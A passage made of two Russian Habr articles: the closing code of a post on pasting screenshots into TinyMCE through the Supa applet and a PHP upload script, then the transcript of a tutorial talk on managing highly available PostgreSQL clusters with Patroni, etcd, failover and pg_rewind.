case 3:
case 4:
default:
return false;
}
}
catch (e)
{
alert(e);
throw e;
}
return upload();
}
function upload()
{
var s = new supa();
var applet = document.getElementById("SupaApplet");
try
{
var result = s.ajax_post(applet, "supa/upload.php", "screenshot", "screenshot.jpg",
{
form: document.forms["form"]
});
if (result.match("^OK"))
{
var url = result.substr(3);
return url;
}
else return false;
}
catch (ex) { return false; }
return false;
}
```
**Добавление кнопки в TinyMCE**
```
$(document).ready(function()
{
$('#editor').tinymce(
{
script_url : '../js/tiny_mce/tiny_mce.js',
theme : "advanced",
plugins : "autolink,lists,pagebreak,style,layer,table,save,advhr,advimage,advlink,emotions,iespell,inlinepopups,insertdatetime,preview,media,searchreplace,print,contextmenu,paste,directionality,fullscreen,noneditable,visualchars,nonbreaking,xhtmlxtras,template,advlist",
theme_advanced_buttons1 : "bold,italic,underline,strikethrough,|,justifyleft,justifycenter,justifyright,justifyfull,formatselect,fontselect,fontsizeselect",
theme_advanced_buttons2 : "search,|,bullist,numlist,|,outdent,indent,|,undo,redo,|,link,unlink,image,|,forecolor,backcolor",
theme_advanced_buttons3 : "tablecontrols,|,hr,removeformat,visualaid,|,sub,sup",
theme_advanced_buttons4 : "insert_image",
theme_advanced_toolbar_location : "top",
theme_advanced_toolbar_align : "left",
theme_advanced_statusbar_location : "bottom",
theme_advanced_resizing : false,
setup : function(ed)
{
ed.addButton('insert_image',
{
title: 'Insert Image',
image: 'images/add.png',
onclick: function()
{
tmp = paste();
if (tmp !== false)
ed.selection.setContent('img src="upload/' + tmp + '" /');
}
});
}
});
});
```
**Код аплоуда на сервере**
```
php
define('FILESTORE_PATH', "../include/tcpdf/upload");
define('FILESTORE_URLPREFIX', "upload");
header('Content-Type: text/plain');
if (!$_FILES['screenshot'])
{
echo "ERROR: NO FILE (screenshot)";
exit;
}
if ($_FILES['screenshot']['error'])
{
echo "PHP upload error: " . $_FILES['screenshot']['error'];
exit;
}
$filename = uniqid() . '.jpg';
$file = FILESTORE_PATH . "/" . $filename;
$fh = fopen($_FILES['screenshot']['tmp_name'], "r");
if (!$fh)
{
echo "ERROR: could not read temporary file";
}
$data = fread($fh, filesize($_FILES['screenshot']['tmp_name']));
fclose($fh);
$fh = fopen($file, "w");
if (!$fh)
{
echo "ERROR: could not open destination file";
die();
}
fwrite($fh, base64_decode($data));
fclose($fh);
if (is_uploaded_file( $_FILES['screenshot']['tmp_name']))
{
unlink($_FILES['screenshot']['tmp_name']);
}
echo "OK:" . FILESTORE_URLPREFIX . "/" . $filename;
?
```
Материалы:
Supa — [supa.sourceforge.net](http://supa.sourceforge.net/)
Подпись аплетов — [тут](http://svitter.ru/?p=43). | https://habr.com/ru/post/124466/ | null | ru | null |
# Управление высокодоступными PostgreSQL кластерами с помощью Patroni. А.Клюкин, А.Кукушкин
**Расшифровка доклада/tutorial "Управление высокодоступными PostgreSQL кластерами с помощью Patroni". А.Клюкин, А.Кукушкин**
[Patroni](https://github.com/zalando/patroni) — это Python-приложение для создания высокодоступных PostgreSQL кластеров на основе потоковой репликации. Оно используется такими компаниями как Red Hat, IBM Compose, Zalando и многими другими. С его помощью можно преобразовать систему из ведущего и ведомых узлов (primary — replica) в высокодоступный кластер с поддержкой автоматического контролируемого (switchover) и аварийного (failover) переключения. Patroni позволяет легко добавлять новые реплики в существующий кластер, поддерживает динамическое изменение конфигурации PostgreSQL одновременно на всех узлах кластера и множество других возможностей, таких как синхронная репликация, настраиваемые действия при переключении узлов, REST API, возможность запуска пользовательских команд для создания реплики вместо pg\_basebackup, взаимодействие с Kubernetes и т.д.
Слушатели мастер-класса подробно узнают, как работает Patroni, получат практические навыки настройки высокодоступных кластеров на его основе, познакомятся с различными дополнительными возможностями и поучаствуют в диагностике проблем. Будут рассмотрены следующие темы:
* область применения: какие задачи HA успешно решаются Patroni
* обзор архитектуры
* создание тестового кластера
* утилита patronictl
* изменение конфигурации PostgreSQL для кластера, управляемого Patroni
* мониторинг с помощью API
* подходы к переключению клиентов
* дополнительные возможности: ручное переключение, перезагрузка по расписанию, режим паузы
* настройка синхронной репликации
* расширяемость и универсальность
* частые ошибки и их диагностика
**В конце есть опрос: "На сколько постов разделить tutorial? Прошу проголосовать."**
(Алексей Клюкин) Здравствуйте! Большое спасибо, что вы пришли на этот tutorial о Patroni. Меня зовут Алексей. Мой коллега – Александр. Мы работаем в Zalando разработчиками по базам данных. И мы является также разработчиками Patroni. И мы очень рады использовать эту возможность для того, чтобы поделиться с вами нашими знаниями. И, может быть, поспособствовать тому, чтобы больше людей спало спокойно, используя автоматический failover и используя при этом Patroni. И мы хотим также рассказать о каких-то дополнительных возможностях, которые, возможно, мы еще не освещали в наших докладах.
```
# Для полного участия в мастер-классе вам понадобится ноутбук с установленным git, vagrant и virtual box.
# Vagrant можно загрузить со страницы https://www.vagrantup.com или установить с помощью пакетов в вашем дистрибутиве. Virtualbox: https://www.vagrantup.com
# После установки Vagrant и Virtualbox нужно выполнить:
$ git clone https://github.com/alexeyklyukin/patroni-training
$ cd patroni-training
$ vagrant up
$ vagrant ssh
$ sudo -iu postgres
$ cd patroni
$ ls
postgres0.yml postgres1.yml postgres2.yml
```
На экране слайд с инструкциями для vagrant’а. Если у вас есть ноутбук и вы хотите следовать за нами, и выполнять команды, которые мы говорить (мы будем останавливать и говорить, что эти команды можно выполнить на своем ноутбуке и получить требуемый результат), то вы можете скачать vagrant или вы можете по адресу на GitHub, который здесь указан, скачать vagrantfile. После чего сделать vagrant up и vagrant ssh. И вы получите виртуальную машину, в которую уже установлен etcd, в которую установлен Postgres и в которую установлен Patroni. И эту виртуальную машину мы использовали для того, чтобы сделать слайды.
Если у вас нет ноутбука или вы не хотите за нами следовать, это не проблема. У нас также есть слайды, на которых будет написан результат всех тех действий, которые нужно предпринять и, соответственно, сами действия тоже. Поэтому вы можете просто смотреть на слайды. Мы слайды эти сделаем доступными после презентации, поэтому вы можете всегда использовать их, как справочный материал, когда вы будете работать с Patroni.
Patroni не требует от вас, чтобы у вас было слишком много postgres-кластеров. Вы можете использовать его для одного кластера и снова спать спокойно, и делать failover. А в Zalando у нас сотни кластеров. Мы доверяем Patroni каждый день, чтобы он переключал роль мастера на нужный нам postgres-кластер. Но вы можете использовать его на значительном меньшем количестве кластеров.
(Алексей Клюкин) Давайте начнем. Начнем мы с того, что я расскажу, чем мы будем заниматься. В начале мы расскажем про автоматический failover. Мы расскажем, как неправильно его делать, потому что очень много возможностей сделать его неправильно. Мы покажем, как не надо делать.
Мы расскажем про архитектуру Patroni, потому что очень важно понимать, как работает то решение, которому вы решили доверить свою базу данных.
После этого мы покажем, как создать кластер с помощью Patroni. Мы углубимся в детали, как менять конфигурацию рабочего кластера без перезагрузок. Если требуются перезагрузки, то Patroni поможет понять, когда их делать.
Мы расскажем про мониторинг, про те возможности, которые встроены в Patroni для того, чтобы мониторить ваши кластера.
Мы расскажем про возможности расширить функциональность Patroni с помощью пользовательских скриптов, которые выполняются при определенных действиях. В таких, как failover, как callback скрипты.
Мы также не обойдем вниманием вопрос, как перенаправлять клиентов на мастер-узел.
Мы расскажем про дополнительные возможности Patroni. В таких, как перезагрузка или failover по расписанию. Мы затронем теги, которые используются для модификации в репликации в Patroni. Расскажем подробнее про синхронную репликацию.
И в конце концов мы остановимся на различных способах создания реплик, которые есть в Patroni. А также на том, как Patroni решает такие задачи, как, например, склонировать существующий кластер или сделать point in time recovery существующего кластера на другом кластере.
И в самом конце мы рассмотрим типичные ошибки, с которыми мы встречались, когда поддерживали Patroni на GitHub. Мы рассмотрим, какие возникают ошибки и какие есть способы для решения этих ошибок.
Я теперь передаю слово Александру. Он вам расскажет про архитектуру в Patroni и вообще про автоматический failover.
(Александр Кукушкин) Здравствуйте! Для начала мы не будем рассматривать архитектуру в Patroni, а сделаем широкий взгляд сверху на High Availability, на высокодоступные решения, чтобы делать Postgres высокодоступным.
Давным-давно уже существует решение какого-то разделяемого хранилища. Это может быть какое-то сетевое хранилище, когда вы выделяете раздел и монтируете его на сервер. И при падении мастера, это хранилище перемонтируется на другой сервер, и там запускается Postgres. Как правило, такие решения достаточно дорогие, поэтому люди предпочтительно используют DRDB и LVM.
Для того, чтобы в таком случае переключать мастер, как правило, используют Corosync, PaceMaker. Это тоже очень сложная система. И люди очень часто делают ошибки в настройках. Основная проблема PaceMaker в том, что большую часть времени он работает. И ты постепенно забываешь, как с ним управляться, как он настраивается. И в какой-то момент что-то идет не так. И в этот момент, вы понимаете, что все знания утеряны, забыты и непонятно, что делать.
Логическая репликация или репликация, основанная на триггерах – это примерно одно и то же. Конечно, логическая репликация появилась в Postgres в 10-ой версии. Но никакой большой разницы между trigger-based репликацией или логической репликацией, по сути, нет.
У них есть свои плюсы и минусы. Но главный минус в том, что, как правило, при использовании такой логической репликации, вы реплицируете только данные. У вас не реплицируются какие-то служебные объекты, такие, как роли, юзеры. Реплицируются только какие-то отдельные базы, таблицы, т. е. не реплицируется кластер(сервер) целиком.
К счастью, в 2009-ом году появился Postgres 9.0, в котором появилась потоковая физическая репликация. Она позволяет кластер реплицировать один в один. И, как правило, все решения по High Availability строятся на физической репликации.
Многие думают, что с появлением multi-master’а у них эта проблема отпадет, потому что у вас будет много нод. Каждая нода сможет принимать данные на запись. В данный момент это можно реализовать с помощью BDR или bucardo. Но это обычно не то, что люди хотят. Поскольку и BDR, и bucardo также реплицируют исключительно данные. Они не реплицируют никаких служебных объектов в базе. И вам при таких решениях необходимо каким-то образом настраивать разрешение конфликтов. Потому что две ноды могут затрагивать один и тот же объект. И не всегда понятно, каким образом и в каком порядке эти изменения должны быть применены. Конечно, там можно настраивать эту стратегию. Но никакой стратегии по умолчанию невозможно придумать, которая бы удовлетворила всех. Поэтому большинство решений по High Availability строятся на потоковой репликации.
Какая в этом есть проблема? Сама по себе потоковая репликация не является полным решением высокой доступности. Потому что нет никакого встроенного решения, которое бы позволило перевести standby в режим нового мастера, если что-то произошло со старым мастером.
У этого решения есть очень глобальный недостаток в том, что потоковая репликация работает только на той же самой major versions.
Что люди пытаются сделать: Мы построим базу, которая является мастером primary. Мы сделаем standby базу, которая будет через потоковую репликацию получать данные. Напишем какой-нибудь скрипт, который будет периодически запрашивать состояние мастера. И при условии, если мастер недоступен, мы будем превращать standby в новый мастер.
Мы живем в реальном мире. И поэтому сеть тоже неидеальная. Могут быть какие-то короткие всплески недоступности. Т. е. по факту с мастером ничего не случилось, он до сих пор работает. Он обслуживает соединения клиентские, все хорошо, но standby каким-то образом оказался, например, изолированным. И что происходит?
У нас получаются два мастера. Так называемая split-brain ситуация.
Поэтому есть другой подход к решению данной проблемы. Мы будем принимать решения о переводе standby в новый мастер с помощью какого-то третьего сервера.
И, как вы думаете, что здесь может пойти не так? Во-первых, этот сервис тоже может сам по себе исчезнуть. Мы живем в реальном мире. И железки имеют обыкновение иногда сгорать, умирать, глючить. В этом случае мы теряем автоматический failover. С одной стороны, ничего критичного, мы можем поднять. Но с другой стороны, что может произойти в тот момент, когда нода, которая принимает решение, недоступна? У нас тоже может мастер отказать. И никто его не переключит. Никто не даст команду реплике переключиться.
Есть еще одна ситуация. Может так оказаться, что мастер и standby оказались в разных сегментах сети. И нода, которая принимает решение, она может оказаться в том сегменте, где у нас находится standby. Нода понимает, что мастер недоступен, хотя мастер живой и обслуживает соединения. И нода принимает решение перевести standby в новый мастер. И мы снова получаем тот же самый split-brained.
И потихоньку мы подходим к современному и правильному способу определения является ли мастер и реплика живыми. Это можно сделать только при условии, что у нас есть нечетное количество нод, которые проводят голосование.
В данном случае у нас есть три ноды. Если две ноды соглашаются о том, что у нас primary недоступен, то у этих двух нод есть большинство голосов. Два из трех – это большинство. Почему не рекомендуется использовать четное количество? В принципе, в этом нет ничего страшного, но для того, чтобы получить большинство голосов из четырех нод, должны три согласиться с результатами выборов.
(Уточнение: этого слайда я не нашел)
Конечно, очень важно убить старые соединения к мастеру. Для этого, как правило, выполняется STONITH. По-русски – это будет «пристрелить другую ноду в голову».
Quorum позволяет нам решать сложные задачи разрешения партицирования сети. Когда какой-то сегмент сети недоступен, то несколько других сегментов могут принимать решения. А изолированный сегмент в этом случае должен остановить старого мастера.
И очень хорошо иметь Watchdog. Это либо аппаратный, либо программный комплекс, который позволяет перезагрузить ноду при условии, что наш сервис не отвечает. Например, если что-то произошло в Patroni, то Watchdog не будет получать периодических сигналов и просто перезагрузит ноду. Это тоже способ закрытия сервера, потому что мы не должны оставлять Postgres работать самого по себе.
И потихоньку мы приходим к подходу бота, который был придуман ребятами из компании «Compose». Compose был куплен IBM. Это достаточно большая компания. Идея в том, что мы рядом с каждым Postgres на каждой ноде запустим специального daemon`a, который будет управлять нашим instance Postgres. В случае если все хорошо и у нас есть доступ к какому-то распределенному хранилищу, где мы можем периодически обновлять lock, то данная нода может работать как мастер. Либо если у нас lock'а нет, то нода будет работать как реплика.
И Bot занимается многими вещами. Но основная его задача следить за тем, что у нас Postgres работает либо в режиме мастера, когда он обязан быть один и только один, либо в режиме реплики.
И вот, как все у нас происходит. На картинке у нас есть нода А, которая является текущим мастером. И она периодически отправляет в etcd запрос на обновление ключа лидера. Она это делает по умолчанию с периодичностью раз в 30 секунд. И важно, что у ключа лидера есть ttl. Это время в секундах, по истечению которого ключ пропадет.
Если у нас что-то случилось с нашей нодой, она не будет обновлять ключ лидера. И потихоньку мы придем к ситуации, когда ключ лидера исчезнет.
И оставшиеся ноды получат оповещение о том, что лидера нет, согласно etcd. И мы должны провести новые выборы.
Как они это делают? Каждая нода обращается ко всем другим нодам, включая старый исчезнувший мастер. Потому что вдруг это были какие-то временные проблемы, и вдруг он до сих пор жив. Нам в этом надо убедиться. И каждая нода сравнивает позицию WAL со своей. При условии, если нода является впереди всех остальных или хотя бы не отстает, как в данном случае, когда у обоих реплик оказался wal\_position равный 100, то они начинают гонку за лидером. Т. е. они отправляют запрос на создание нового ключа лидера в etcd.
В чем прелесть etcd? В том, что он позволяет такие вещи делать атомарно. Т. е. когда одна нода создала ключ, то вторая нода, при условии, что мы запрещаем перезаписывать уже существующий ключ, его создать не сможет.
И на этом слайде мы видим, что нода C выиграла, она успела создать ключ лидера, а нода B не смогла.
И в результате мы получаем, что нода C становится новым мастером, она выполняет promote для Postgres. А нода B становится новой репликой, которая будет уже реплицировать не с ноды A, которая недоступна, а с ноды C.
И немного про etcd. Это, конечно, не является главной темой нашего мастер-класса, но Patroni очень сильно зависит от таких distributed consistency store, от таких, как Etcd, Consul, Zookeeper. В том числе мы можем использовать Kubernetes API.
Etcd построен на алгоритме RAFT. И для его функционирования мы должны иметь больше двух нод, лучше три или пять.
И по этой замечательной ссылке вы можете поиграть с тем, как etcd внутри себя выполняет leader election, каким образом он определяет, какая из нод является ведущей, какие ноды являются репликой и позволяет разрешать в том числе любые проблемы сети, когда у нас одна сеть становится недоступна по отношению к другим.
Patroni имплементирует такой шаблон бота. Patroni написан на Python. И в основном разработкой занимаемся мы в Zalando, но в том числе у нас очень много других разработчиков. В основном это мелкие патчи, исправление проблем. Иногда документация. И помощь нам оказывает один из сотрудников [Cybertec](https://www.cybertec-postgresql.com/). Это очень известная компания, которая занимается консалтингом Postages. И они в том числе используют Patroni для своих клиентов.
(Алексей Клюкин) Мы сейчас перейдем к тому, что создадим наш первый Patroni кластер. Возможно, для некоторых людей он будет не первым, но в любом случае мы покажем, что достаточно просто создать High Availability кластер.
Для этого требуется выполнить всего несколько команд. И это тот слайд, который был изначально. И если вы хотите следовать за нами, то на вашем компьютере должен быть поставлен vagrant. У вас должна быть виртуальная машина. И вы можете сделать `vagrant ssh` туда, и выполнить команды `sudo -iu postgres` и там будет конфигурация Patroni.
И мы попробуем вместе получить наш первый High Availability Patroni кластер.
Запуск Patroni – это очень просто. В нашей машине vagrant’а уже запущен etcd. Поскольку это локальная виртуальная машина, то там запущен всего один instance etcd. На production кластерах, естественно, вы запускаете, три и больше instance etcd, потому что вся идея etcd в том, чтобы хранить информацию о состоянии кластера и ключ лидер. И это та система, которая должна быть постоянно доступной. Поэтому, пожалуйста, не запускайте один etcd на production. Если он упадет, никакого High Availability не будет, Patroni перейдет в режим только чтение.
И когда мы стали пользоваться Postgres, мы перешли в каталог Patroni. У нас там есть три yml-файла. Откуда мы взяли эти yml-файлы? Мы их взяли из [GitHub](https://github.com/zalando/patroni), поскольку Patroni – это open source проект, то на [GitHub](https://github.com/zalando/patroni) выложены его исходные коды и в том числе тут есть эти yml-файлы. Мы их не придумывали из головы, мы просто взяли, как они есть здесь. Т. е. если вы сделаете `git clone https://github.com/zalando/patroni.git`, то вы можете это повторить на локальной машине, если у вас есть Python и все зависимости. Просто на виртуальной машине эти все зависимости уже установлены.
**C 26:33 начинается demо.**
Вот моя машина. Есть два Postgres. Я перехожу в каталог Patroni. Я уже здесь. И запускаю `patroni postgres0.yml`. Нам нужно перейти в каталог Patroni. Отлично, я запустил первый узел Patroni.
**Первый узел Patroni увидел, что кластера у нас еще нет. И инициализировал мастер-узел, он запустил initdb**. Initdb отработал. Вот есть вывод initdb. И он нам показал, что мы инициализировали новый кластер. У узла, на котором мы это запустили, есть lock, т. е. у него есть индикация, что он лидер. И он об этом говорит: «lock owner: postgresql0; I om postgresql0», т. е. говорит, что все хорошо, он работает как мастер.
Теперь давайте сделаем тоже самое со вторым узлом. Мы запустим `patroni postgres1.yml`. Что произошло со вторым узлом? Второй узел нашел etcd-сервер. Нашел, что кластер уже создан. У него уже есть лидер. И в etcd уже есть информация про то, что кластер создали. Поэтому вместо того, чтобы запускать initdb и стать мастером, он запустил pg\_basebackup. Это утилита Postgres, которая позволяет вам создавать реплики. И создал себя в качестве реплики.
Вот он себя создал. И после этого попытался стартовать Postgres. Он ждет пока Postgres стартует. Это может занять некоторое время. После чего он сказал, что он не может получить WAL-файлы. Он сказал, что не может получить файлы с мастера.
Почему это происходит? Мы сделали реплику, все хорошо, Patroni ее настроил. Дело в том, что **Patroni создает слот репликации для каждой реплики**. В Postgres для потоковой репликации есть возможность сохранять те изменения, которые должны быть переданы на реплику. **В нормальном случае, если вы не создадите слот и ваша реплика будет погашена по каким-то причинам, то через определенное время мастер возьмет все wal-файлы, которые у него накопились и отротирует их. Если реплика после этого подключится к кластеру, то она запросит wal-файлы, которых на мастере уже нет. И репликация будет невозможна. Вам для этого придется переинициализировать реплику.**
Слоты репликации были созданы в Postgres как раз для того, чтобы решить эту проблему. **Т. е. когда у вас есть слот репликации, то этот слот накапливает в себе изменения и не дает Postgres эти wal-файлы отротировать. И как только вы подключаете реплику, она подключается к этому слоту и все файлы передаются.**
**У этого способа также есть недостаток, потому что если ваша реплика потушена, а слот создан, то никто эти wal-файлы не проигрывает. Они накапливаются на мастере. И они будут накапливаться, пока у мастера не закончится место. Поэтому в Patroni есть возможность выключить слоты репликации. Но мы настоятельно рекомендуем ими пользоваться, потому что это избавляет вас от проблем, когда вам нужно будет на короткое время потушить реплику и после этого включить ее обратно.**
Что здесь происходит? Он сказал, что не может включить репликацию, потому что Patroni еще не создал слот. На мастере Patroni смотрит на список реплик, которые подключились. И для каждой реплики создает слот через некоторое время.
Мы сейчас немного подождали. И вы видите, что эти ошибки прекратились. Эти ошибки выдаются не Patroni, эти ошибки выдаются Postgres. Он попытался подключиться к слоту под названием «postgres1», а postgres1 – это имя нашей реплики. И у него не получалось до определенного момента, пока Patroni все-таки не создал слот. И после этого репликация пошла нормально. Вот это сообщение показывается на реплике. Она говорит, что мастер lock завладел postgresql0, а я potstresql1, т. е. я – не мастер, я – реплика, у меня нет lock, я не предпринимаю никаких действий. А действием в данном случае может быть promote, потому что она следует за мастером, у которого есть lock. И дальше Patroni будет показывать это периодически. В данном случае достаточно часто и на мастере, и на реплике, т. е. он будет подтверждать, что здесь он показывает, что он мастер, а здесь Patroni показывает, что он реплика.
У кого получилось довести это до конца? У двоих. У остальных какие проблемы? Нет python-etcd. Я покажу эту команду. Для этого я создам новую консоль. Вам нужно зайти в patroni-training, зайти в ваш vagrant. И сказать `pip install python-etcd`. Вот эта команда установит etcd для Patroni. После чего те команды, которые я сделал для запуска Patroni, они увенчаются успехом. Patroni найдет etcd и сделает кластер.
Что мы сделаем дальше? Мы возьмем утилиту, которая называется Patronictl. Patronictl предназначена для контроля Patroni. В данном случае мы посмотрим на состояние нашего кластера.
Как мы это сделаем? Мы откроем еще одну консоль. Захожу в Patroni и говорю «patronictl», указываю конфигурацию одного из узлов. Из этой конфигурации он достанет имя кластера. Можно альтернативно указать ему имя кластера. И указываю команду, которую я хочу выполнить, т. е. «list».
И что я получаю? Я получаю вот такую табличку. В этой табличке указано название кластера, указано название узла «postgresql0» или «postgresql1», указан хост, на котором находятся. И очень важно, что указаны роли. Мы видим, что у нас кластер живой. Все хорошо, у нас один лидер. И указано также состояние Postgres, т. е. Postgres запущен на обоих узлах. Последняя колонка (Lag) – это если у нас есть реплика, то она может отставать от мастера по разным причинам. Потому что реплика медленная, потому что сеть, потому что на мастер большая нагрузка. Если у нас есть отставания, то Patroni эти отставания измеряет и показывает вам через утилиту Patronictl в отдельной колонке. Сейчас мы видим, что у нас никакого отставания нет, потому что на кластер никакой нагрузки нет.
То, что я вам показал, это ни разу не автоматический failover. Это просто как инициализировать кластер с точки зрения Patroni.
Что я вам хочу показать? Я хочу показать, как Patroni реализует автоматический failover. Есть терминалогия. Есть switchover, есть failover. Switchover – это переключение узлов, когда вы сами решаете переключить мастер на какой-нибудь другой узел. В то время, как failover (или на русском – аварийное переключение) – это когда от вас ничего не зависит, у вас сервер сгорел или с ним что-то случилось нехорошее. И вы хотите, чтобы Patroni переключился.
И мы покажем вам именно failover. Что мы для этого сделаем? Мы возьмем и оставим Patroni на мастере. Мы остановим Patroni специальным образом. Мы не сделаем «kill Patroni», потому что если я сделаю «kill Patroni», то он также остановит Postgres. Вместо я сделаю ctrl+Z, т. е. я переведу Patroni в background режим, и он остановится.
Давайте попробуем это сделать. Вот мой лидер. Я нажимаю «ctrl+Z» и я его остановил. Вот моя реплика.
Что происходит с репликой? Пока с ней ничего не происходит. Почему с ней ничего не происходит? Потому что пока еще у Patroni есть режим лидера. Пока еще в etcd находится ключ лидера. Должно пройти некоторое время. В данном случае при дефолтной конфигурации – это до 30 секунд. Это контролируется специальным параметром «ttl». Это все настраивается. Я об этом расскажу чуть позже. Там есть некое соотношение между разными параметрами Patroni. Вы можете поставить и 8 секунд, и 10 секунд, и меньше. Вам нужно соблюдать баланс между тем, как ваша сеть падает, поднимается и тем, насколько надежно вы хотите сделать failover. Но я бы не рекомендовал делать этот параметр сильно меньше, чем 30 секунд.
Что мы видим? Вот это последние сообщения. Что случилось дальше? Дальше случился вот такой warning в логах. Patroni сказал «request failed», т. е. не получилось сделать GET request. Что это такое? Patroni увидел, что lock’a в etcd больше нет. И попытался постучаться на мастер. Когда lock теряется, Patroni стучится на все известные узлы в кластере. И спрашивает у этого узла: «Ты – мастер?». А если он не мастер, то Patroni спрашивает позицию wal’а, т. е. насколько этот узел ближе к мастеру.
И вот то, что мы видим. У нас было два узла. И он попытался спросить у мастера: «Доступен ли ты?». И мастер ему ничего не ответил, потому что мы потушили Patroni на мастере. И после того, как это случилось, он принял решение сделать себе promotion, т. е. стать после этого лидером. Вот видите: promoted self to leader by acquiring session lock.
Вопрос: как долго Patroni опрашивает ноды?
Ответ: Он порядка две секунды тратит для каждой ноды, чтобы получить оттуда ответ. Все ноды он опрашивает параллельно.
Да, некоторое время он ждет, пока не ответит мастер. После этого делает себе promotion.
Вопрос: Можно ли держать etcd на тех же нодах что и Patroni?
Ответ: **Как правило, лучше иметь отдельный кластер. У Etcd основное требование – ни большое количество памяти, ни большое количество процессоров, ему нужны только быстрые диски, чтобы он писал данные.** В данной конфигурации – это демо. У нас здесь всего одна etcd нода, т. е. только для того, чтобы Patroni работал. В принципе, это вы сами можете решать. Вы можете иметь две ноды, на которых будет работать Postgres, плюс на каждой из них будет работать etcd. И иметь какой-нибудь третий сервер, на котором будет исключительно одна нода etcd.
Сейчас по факту в этой машине у нас работает и etcd, и два Patroni, и два Postgres, потому что это проще для демо.
Если один etcd упадет, то в некотором смысле – это является точкой отказа, если вы его не восстановите. Если у вас etcd будет работать независимо от Postgres, то два etcd сервера по-прежнему выполняют свою функцию. И если один из etcd серверов отказал, надо быстро его поднять.
Вопрос: Что произойдет с etcd, если network partition, т. е. если один из узлов оказывается изолированным?
Ответ: Произойдет network partition. У etcd тоже есть лидер, он сам выбирает лидера. **Если в этой части сети, которая оказалась изолированной был лидер, то два оставшиеся сервера выбирают нового лидера. И, соответственно, новый лидер будет находиться в одной из двух оставшихся сетей.** А старый лидер начнет перевыборы, потому что он поймет, что две другие ноды недоступны. Но при этом никакая запись через старого лидера не будет возможна.
И вот этот узел, который мы только что оставили, он сделает себе promotion. И дальше он работает как лидер. Он говорит, что он лидер, что у него есть lock, что он postgres1 и все хорошо.
Теперь мы сделаем одну очень интересную вещь. Вы помните, что на postgres0 узле, мы остановили Patroni? Мы остановили Patroni, но Postgres там еще работает. И Postgres там сейчас работает в режиме мастера.
Это мы сделали специально, потому что в реальной жизни, как правило, могут быть какие-то данные не реплицированы. Мы этот Postgres оставили только для того, чтобы сделать небольшой split-brain, т. е. только в целях демо.
Да. У нас есть бывшая реплика, которая сделала promotion и стала мастером. И у нас есть бывший мастер, который так и остался работать мастером, потому что мы потушили на нем Patroni.
Сейчас мы возьмем бывший мастер и запишем какие-то данные. Таким образом, сделав искусственный split-brain. А потом мы посмотрим, как Patroni будет бороться с этим split-brain.
Что мне для этого нужно? Мне нужно создать таблицу. Я создаю таблицу, которая называется «split-brain». И есть интересная возможность в Postgres. Можно создавать таблицу с нулем колонок. И этого достаточно.
Теперь я создал таблицу. И теперь самое интересное. Я возьму тот Patroni, который у меня сейчас остановлен. И скажу ему – продолжать свою работу. Мы поставили Patroni, чтобы он запускался, как основной процесс. И вот, что получилось.
**Внезапно он увидел, что он – мастер и то, что уже существует мастер. И что он сделал? Он сделал demoting Postgres настолько быстро, насколько возможно. Т. е. он сказал Postgres – сделай immediate shutdown прямо сейчас без всяких прелюдий. И Postgres сделал immediate shutdown.** Это вот такой полупанический shutdown, т. е. он просто убивает все процессы, которые у вас есть. И мы это как раз сейчас видим. Он остановил базу данных и потом он сказал, что сделаю demoting, т. е. действие обратное promotion, потому что у меня нет lock’а. И после этого он стартовал Postgres.
Он делал crash recovery, потому что immediate shutdown – это не является чистой остановкой базы. И он препятствует pg\_rewind. Pg\_rewind откажется работать с кластером, у которого не было чистой остановки. Поэтому мы запускаем crash recovery mode в single user. Ничего не делаем, он просто запускает в single user и останавливает. После этого запускает pg\_rewind, потому что Patroni знает, что там старый мастер был немного впереди нового мастера, когда произошел promotion.
Т. е. мы запустились в crash recovery. Когда он запустился, он проверил свою позицию в wal-сегменте. И он проверил wal-сегмент мастера. И он нашел, что произошел split-brain, потому что он – реплика, но он ушел вперед от мастера, потому что мы сделали `create table split-brain`. И он принял решение запустить pg\_rewind.
Что такое pg\_rewind? Это утилита в Postgres, которая позволяет предыдущему мастеру подключиться как реплика и перемотать обратно все те изменения, которые не попали на текущий мастер. Он перематывает до того момента, когда произошел разрыв между мастером и репликой, когда существующий мастер сделал promotion.
И мы это здесь увидим. Вот он написал «running pg\_rewind from postgresql1». Pg\_rewind написал, что был split-brain, что мастер и реплика разделились вот в такой позиции. Сказал, что мы сделали rewind, написал – done. И теперь мы можем увидеть, что старый мастер подключился как реплика. Он говорит, что мастер – postgresql1, а он – postgresql0. Т. е. в данном случае мы увидели, что, несмотря на то, что произошел split-brain (split-brain произошел, потому что мы остановили Patroni, если бы мы не останавливали Patroni, то никакого split-brain не было бы), мы все равно смогли разрешить эту ситуацию автоматически. Т. е. Patroni смог найти второго мастера, быстро его остановить. После этого он смог запустить его как реплику, сделать ему pg\_rewind и включить его в кластер.
Теперь мы можем посмотреть снова на результат работы утилиты Patronictl. И здесь мы теперь увидим картину, которая похожа на предыдущую, только лидер у нас переключился на postgreslq1. Раньше он был postgresql0, сейчас он postgresql1. И, соответственно, postgresql0 у нас тоже есть, он работает нормально, он является репликой. И он совершенно не отстает. Таким образом мы симулировали failover и показали, что Patroni может успешно разрешать такие ситуации.
Вопрос: Что случилось с таблицей, в которую я вставил?
Ответ: Этой таблицы уже нет. Т. е. если я сейчас пойду на мастер, то я не найду этой таблицы, потому что данные со старого мастера отмотались назад. И мы не сможем получить эти данные. Произошел split-brain, эти данные потерялись. И задача Patroni – не допускать split-brains, чтобы не терять данные.
Мир у нас реальный. И иногда репликации происходят с задержками. Т. е. какое-то количество транзакций при аварийных ситуациях могут быть потеряны. Чтобы избежать потерь, необходимо использовать синхронную репликацию. Синхронная репликация поддерживается в Patroni. Мы к этому подойдем немножко попозже. Но по большей части люди используют асинхронную репликацию, потому что синхронная репликация очень сильно бьет по производительности.
Что я хочу вам показать теперь? Это содержимое etcd. То содержимое, в котором хранится информация про наш кластер. Сделаем мы это с помощью утилиты etcdctl. И я могу показать, что мы храним внутри etcd. Это может быть также Consul, ZooKeeper или Kubernetes. Структура одинакова.
Etcd – это система ключ-значение. У нас есть какие-то ключи. И у этих ключей есть какое-то значение. Вы можете увидеть, что у нас есть ключ лидера, у нас есть ключ для каждого из участников кластера, т. е. для postgresql0 и для porsgresql1. У нас есть ключ initialize, который говорит о том, что кластер инициализирован и внутри хранится идентификатор кластера, который позволяет подключиться только тем узлам, которые являются частью этого кластера. Т. е. если вы подключите узел, который является частью какого-то другого кластера, он не сможет подключиться. Потому что в этом ключе initialize хранится как раз индификатор и ключ, связанный с конфигурацией кластера.
Давайте я покажу это на слайде, потому что там немножко лучше выделено. Вот тот же самый результат. После этого я смотрю на то, что хранится в узле members/postgresql1. Это json, в котором хранятся несколько важных параметров.
